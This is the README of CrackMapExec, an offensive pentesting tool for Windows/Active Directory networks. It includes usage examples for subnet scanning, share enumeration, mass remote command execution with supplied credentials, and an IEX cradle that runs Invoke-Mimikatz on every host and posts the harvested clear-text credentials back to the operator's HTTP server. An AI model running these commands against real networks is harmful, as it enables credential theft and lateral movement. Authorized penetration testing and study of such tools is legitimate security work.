CrackMapExec

A swiss army knife for pentesting Windows/Active Directory environments

Powered by Impacket

This project was inspired by/based off of:

Additionally some code was stolen from @T-S-A's smbspider script

#Description

CrackMapExec is your one-stop-shop for pentesting Windows/Active Directory environments!

From enumerating logged on users and spidering SMB shares to executing psexec style attacks and auto-injecting Mimikatz into memory using Powershell!

The biggest improvements over the above tools are:

  • Pure Python script, no external tools required
  • Fully concurrent threading
  • Uses ONLY native WinAPI calls for discovering sessions, users, dumping SAM hashes etc...
  • Opsec safe (no binaries are uploaded to dump clear-text credentials)

Requires the impacket, gevent and netaddr Python libraries

#Installation on Kali Linux

Run pip install --upgrade -r requirements.txt

#Usage examples

The most basic usage: scans the subnet using 100 concurrent threads:

#~ python crackmapexec.py -t 100 172.16.206.0/24
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)
[+] 172.16.206.133:445 is running Windows 6.3 Build 9600 (name:DRUGOUTCOVE-PC) (domain:DRUGOUTCOVE-PC)
[+] 172.16.206.130:445 is running Windows 10.0 Build 10240 (name:DESKTOP-QDVNP6B) (domain:DESKTOP-QDVNP6B)

Let's enumerate available shares:

#~  python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password --shares
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)

Let's execute some commands on all systems concurrently:

#~ python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password -x whoami
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)

Same as above only using WMI as the code execution method:

#~ python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password --execm wmi -x whoami

Use an IEX cradle to run Invoke-Mimikatz.ps1 on all systems concurrently (PS script gets hosted automatically with an HTTP server), Mimikatz's output then gets POST'ed back to our HTTP server, saved to a log file and parsed for clear-text credentials:

#~ python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password --mimikatz
[*] Press CTRL-C at any time to exit
